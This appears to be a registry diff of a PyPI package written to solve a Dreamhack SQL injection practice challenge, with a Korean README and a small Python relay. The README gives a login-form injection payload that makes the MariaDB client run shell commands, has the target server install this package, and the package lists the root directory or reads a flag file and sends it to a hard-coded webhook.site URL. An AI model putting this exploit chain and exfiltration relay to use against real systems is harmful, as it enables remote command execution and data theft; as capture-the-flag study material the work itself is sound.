dhflagrelay2613c8a6 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,99 @@
1
+ Metadata-Version: 2.4
2
+ Name: dhflagrelay2613c8a6
3
+ Version: 0.1.0
4
+ Summary: Small command relay for a Dreamhack SQL injection practice challenge
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+
8
+ # Dreamhack #2613: PyPI 패키지 방식 재현
9
+
10
+ 이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
11
+ MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
12
+ 파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
13
+ 웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
14
+
15
+ 패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
16
+ 영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
17
+ 이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
18
+ 영소문자·숫자 이름으로 바꿔야 한다.
19
+
20
+ ## 1. PyPI 계정과 업로드 도구
21
+
22
+ 1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
23
+ 2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
24
+ 3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
25
+ 프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
26
+ 첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
27
+ 4. 이 폴더를 PowerShell에서 열고 실행한다.
28
+
29
+ ```powershell
30
+ py -m pip install --upgrade build twine
31
+ py -m unittest discover -s tests -v
32
+ py -m build --outdir dist-stage1
33
+ py -m twine upload -u __token__ .\dist-stage1\*
34
+ ```
35
+
36
+ 마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
37
+ 입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
38
+ `https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
39
+
40
+ 참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
41
+ [PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
42
+
43
+ ## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
44
+
45
+ 다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
46
+ 실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
47
+ 바뀌었으면 URL을 바꾼다.
48
+
49
+ ```powershell
50
+ py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
51
+ py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
52
+ ```
53
+
54
+ 웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
55
+ 요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
56
+ 서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
57
+ 부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
58
+
59
+ ## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
60
+
61
+ 1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
62
+ `"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
63
+ 2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
64
+ 버전의 배포 파일을 덮어쓸 수 없다.
65
+ 3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
66
+
67
+ ```powershell
68
+ py -m unittest discover -s tests -v
69
+ py -m build --outdir dist-stage2
70
+ py -m twine upload -u __token__ .\dist-stage2\*
71
+ py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
72
+ py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
73
+ ```
74
+
75
+ 웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
76
+ 아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
77
+ 사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
78
+
79
+ ## 페이로드 구조
80
+
81
+ `send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
82
+ `password`로 다음 형태를 보낸다.
83
+
84
+ ```text
85
+ \d Y Y system <실행할 명령> Y
86
+ ```
87
+
88
+ `\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
89
+ 처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
90
+ 같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
91
+ 요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
92
+
93
+ ## 주의
94
+
95
+ - **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
96
+ 쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
97
+ - API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
98
+ 모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
99
+ - 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.
@@ -0,0 +1,92 @@
1
+ # Dreamhack #2613: PyPI 패키지 방식 재현
2
+
3
+ 이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
4
+ MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
5
+ 파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
6
+ 웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
7
+
8
+ 패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
9
+ 영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
10
+ 이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
11
+ 영소문자·숫자 이름으로 바꿔야 한다.
12
+
13
+ ## 1. PyPI 계정과 업로드 도구
14
+
15
+ 1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
16
+ 2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
17
+ 3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
18
+ 프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
19
+ 첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
20
+ 4. 이 폴더를 PowerShell에서 열고 실행한다.
21
+
22
+ ```powershell
23
+ py -m pip install --upgrade build twine
24
+ py -m unittest discover -s tests -v
25
+ py -m build --outdir dist-stage1
26
+ py -m twine upload -u __token__ .\dist-stage1\*
27
+ ```
28
+
29
+ 마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
30
+ 입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
31
+ `https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
32
+
33
+ 참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
34
+ [PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
35
+
36
+ ## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
37
+
38
+ 다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
39
+ 실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
40
+ 바뀌었으면 URL을 바꾼다.
41
+
42
+ ```powershell
43
+ py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
44
+ py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
45
+ ```
46
+
47
+ 웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
48
+ 요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
49
+ 서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
50
+ 부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
51
+
52
+ ## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
53
+
54
+ 1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
55
+ `"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
56
+ 2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
57
+ 버전의 배포 파일을 덮어쓸 수 없다.
58
+ 3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
59
+
60
+ ```powershell
61
+ py -m unittest discover -s tests -v
62
+ py -m build --outdir dist-stage2
63
+ py -m twine upload -u __token__ .\dist-stage2\*
64
+ py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
65
+ py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
66
+ ```
67
+
68
+ 웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
69
+ 아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
70
+ 사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
71
+
72
+ ## 페이로드 구조
73
+
74
+ `send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
75
+ `password`로 다음 형태를 보낸다.
76
+
77
+ ```text
78
+ \d Y Y system <실행할 명령> Y
79
+ ```
80
+
81
+ `\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
82
+ 처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
83
+ 같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
84
+ 요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
85
+
86
+ ## 주의
87
+
88
+ - **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
89
+ 쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
90
+ - API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
91
+ 모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
92
+ - 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.
@@ -0,0 +1 @@
1
+ """Dreamhack #2613 package entry point."""
@@ -0,0 +1,41 @@
1
+ """Run as `python3 -m dhflagrelay2613c8a6 curl --query-cmd ls|cat`."""
2
+
3
+ import argparse
4
+ import os
5
+ import urllib.parse
6
+ import urllib.request
7
+
8
+ from . import settings
9
+
10
+
11
+ def collect(query_cmd):
12
+ if query_cmd == "ls":
13
+ return "\n".join("/" + name for name in sorted(os.listdir("/")))
14
+ if query_cmd == "cat":
15
+ if not settings.FLAG_PATH or not settings.FLAG_PATH.startswith("/flag_"):
16
+ raise RuntimeError("Set FLAG_PATH to the exact flag path and publish a new version")
17
+ with open(settings.FLAG_PATH, "r", encoding="utf-8") as flag_file:
18
+ return flag_file.read()
19
+ raise ValueError("Unknown query command")
20
+
21
+
22
+ def report(query_cmd, result):
23
+ params = urllib.parse.urlencode({"query_cmd": query_cmd, "result": result})
24
+ separator = "&" if "?" in settings.WEBHOOK_URL else "?"
25
+ url = settings.WEBHOOK_URL + separator + params
26
+ with urllib.request.urlopen(url, timeout=15) as response:
27
+ return response.status
28
+
29
+
30
+ def main(argv=None):
31
+ parser = argparse.ArgumentParser()
32
+ parser.add_argument("mode", choices=["curl"])
33
+ parser.add_argument("--query-cmd", choices=["ls", "cat"], required=True)
34
+ args = parser.parse_args(argv)
35
+ result = collect(args.query_cmd)
36
+ report(args.query_cmd, result)
37
+ return 0
38
+
39
+
40
+ if __name__ == "__main__":
41
+ raise SystemExit(main())
@@ -0,0 +1,8 @@
1
+ """Values compiled into the published wheel (the challenge filter cannot type URLs)."""
2
+
3
+ # This URL is public to anyone who downloads the PyPI package.
4
+ WEBHOOK_URL = "https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc"
5
+
6
+ # After the first `ls` run, replace None with the exact absolute file path,
7
+ # for example "/flag_0123456789abcdef.txt", then bump the package version.
8
+ FLAG_PATH = None
@@ -0,0 +1,99 @@
1
+ Metadata-Version: 2.4
2
+ Name: dhflagrelay2613c8a6
3
+ Version: 0.1.0
4
+ Summary: Small command relay for a Dreamhack SQL injection practice challenge
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+
8
+ # Dreamhack #2613: PyPI 패키지 방식 재현
9
+
10
+ 이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
11
+ MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
12
+ 파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
13
+ 웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
14
+
15
+ 패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
16
+ 영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
17
+ 이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
18
+ 영소문자·숫자 이름으로 바꿔야 한다.
19
+
20
+ ## 1. PyPI 계정과 업로드 도구
21
+
22
+ 1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
23
+ 2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
24
+ 3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
25
+ 프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
26
+ 첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
27
+ 4. 이 폴더를 PowerShell에서 열고 실행한다.
28
+
29
+ ```powershell
30
+ py -m pip install --upgrade build twine
31
+ py -m unittest discover -s tests -v
32
+ py -m build --outdir dist-stage1
33
+ py -m twine upload -u __token__ .\dist-stage1\*
34
+ ```
35
+
36
+ 마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
37
+ 입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
38
+ `https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
39
+
40
+ 참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
41
+ [PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
42
+
43
+ ## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
44
+
45
+ 다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
46
+ 실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
47
+ 바뀌었으면 URL을 바꾼다.
48
+
49
+ ```powershell
50
+ py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
51
+ py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
52
+ ```
53
+
54
+ 웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
55
+ 요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
56
+ 서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
57
+ 부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
58
+
59
+ ## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
60
+
61
+ 1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
62
+ `"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
63
+ 2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
64
+ 버전의 배포 파일을 덮어쓸 수 없다.
65
+ 3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
66
+
67
+ ```powershell
68
+ py -m unittest discover -s tests -v
69
+ py -m build --outdir dist-stage2
70
+ py -m twine upload -u __token__ .\dist-stage2\*
71
+ py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
72
+ py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
73
+ ```
74
+
75
+ 웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
76
+ 아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
77
+ 사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
78
+
79
+ ## 페이로드 구조
80
+
81
+ `send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
82
+ `password`로 다음 형태를 보낸다.
83
+
84
+ ```text
85
+ \d Y Y system <실행할 명령> Y
86
+ ```
87
+
88
+ `\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
89
+ 처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
90
+ 같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
91
+ 요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
92
+
93
+ ## 주의
94
+
95
+ - **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
96
+ 쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
97
+ - API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
98
+ 모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
99
+ - 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.
@@ -0,0 +1,10 @@
1
+ README.md
2
+ pyproject.toml
3
+ dhflagrelay2613c8a6/__init__.py
4
+ dhflagrelay2613c8a6/__main__.py
5
+ dhflagrelay2613c8a6/settings.py
6
+ dhflagrelay2613c8a6.egg-info/PKG-INFO
7
+ dhflagrelay2613c8a6.egg-info/SOURCES.txt
8
+ dhflagrelay2613c8a6.egg-info/dependency_links.txt
9
+ dhflagrelay2613c8a6.egg-info/top_level.txt
10
+ tests/test_package.py
@@ -0,0 +1 @@
1
+ dhflagrelay2613c8a6
@@ -0,0 +1,14 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "dhflagrelay2613c8a6"
7
+ version = "0.1.0"
8
+ description = "Small command relay for a Dreamhack SQL injection practice challenge"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+ dependencies = []
12
+
13
+ [tool.setuptools]
14
+ packages = ["dhflagrelay2613c8a6"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,46 @@
1
+ import io
2
+ import unittest
3
+ from unittest.mock import mock_open, patch
4
+ from urllib.parse import parse_qs, urlparse
5
+
6
+ from dhflagrelay2613c8a6 import __main__ as relay
7
+ from send_payload import make_password
8
+
9
+
10
+ class RelayTests(unittest.TestCase):
11
+ def test_ls_lists_root_and_sends_url_encoded_result(self):
12
+ response = io.BytesIO(b"ok")
13
+ response.status = 200
14
+ with patch.object(relay.os, "listdir", return_value=["z", "flag_abcd.txt", "a"]) as listing:
15
+ with patch.object(relay.urllib.request, "urlopen", return_value=response) as open_url:
16
+ self.assertEqual(relay.main(["curl", "--query-cmd", "ls"]), 0)
17
+ listing.assert_called_once_with("/")
18
+ url = open_url.call_args.args[0]
19
+ params = parse_qs(urlparse(url).query)
20
+ self.assertEqual(params["query_cmd"], ["ls"])
21
+ self.assertEqual(params["result"], ["/a\n/flag_abcd.txt\n/z"])
22
+
23
+ def test_cat_reads_hardcoded_path_and_sends_contents(self):
24
+ response = io.BytesIO(b"ok")
25
+ response.status = 200
26
+ with patch.object(relay.settings, "FLAG_PATH", "/flag_abcd.txt"):
27
+ with patch("builtins.open", mock_open(read_data="DH{example}\n")) as opened_file:
28
+ with patch.object(relay.urllib.request, "urlopen", return_value=response) as open_url:
29
+ self.assertEqual(relay.main(["curl", "--query-cmd", "cat"]), 0)
30
+ opened_file.assert_called_once_with("/flag_abcd.txt", "r", encoding="utf-8")
31
+ url = open_url.call_args.args[0]
32
+ params = parse_qs(urlparse(url).query)
33
+ self.assertEqual(params["query_cmd"], ["cat"])
34
+ self.assertEqual(params["result"], ["DH{example}\n"])
35
+
36
+ def test_payload_uses_only_allowed_characters(self):
37
+ command = "pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6"
38
+ self.assertEqual(make_password(command), "\\d Y Y system " + command + " Y")
39
+
40
+ def test_delimiter_collision_rejected(self):
41
+ with self.assertRaises(ValueError):
42
+ make_password("echo Y")
43
+
44
+
45
+ if __name__ == "__main__":
46
+ unittest.main()